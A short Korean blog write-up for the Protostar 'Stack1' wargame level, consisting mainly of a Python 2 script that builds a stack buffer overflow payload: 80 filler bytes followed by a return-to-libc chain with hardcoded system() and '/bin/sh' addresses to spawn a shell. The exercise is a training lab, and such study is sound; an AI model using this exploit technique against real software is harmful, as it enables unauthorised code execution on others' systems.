Wargame/Protostar:Exploit-Exercises
[Protostar : Exploit-Exercises] Stack1
Choiys
2016. 9. 24. 04:52
이번에는 0,1이 아닌 특정 4바이트 값으로 바꿔야하네요.
#coding: utf-8 from struct import pack, unpack p = lambda x: pack("<L", x) up = lambda x: unpack("<L",x)[0] system = 0xb7ecffb0 binsh = 0xb7fb63bf payload = 'A'*80 payload += p(system) payload += 'AAAA' payload += p(binsh) print payload
stack1.py
값도 바꿔보고, 쉘도 따봅니다.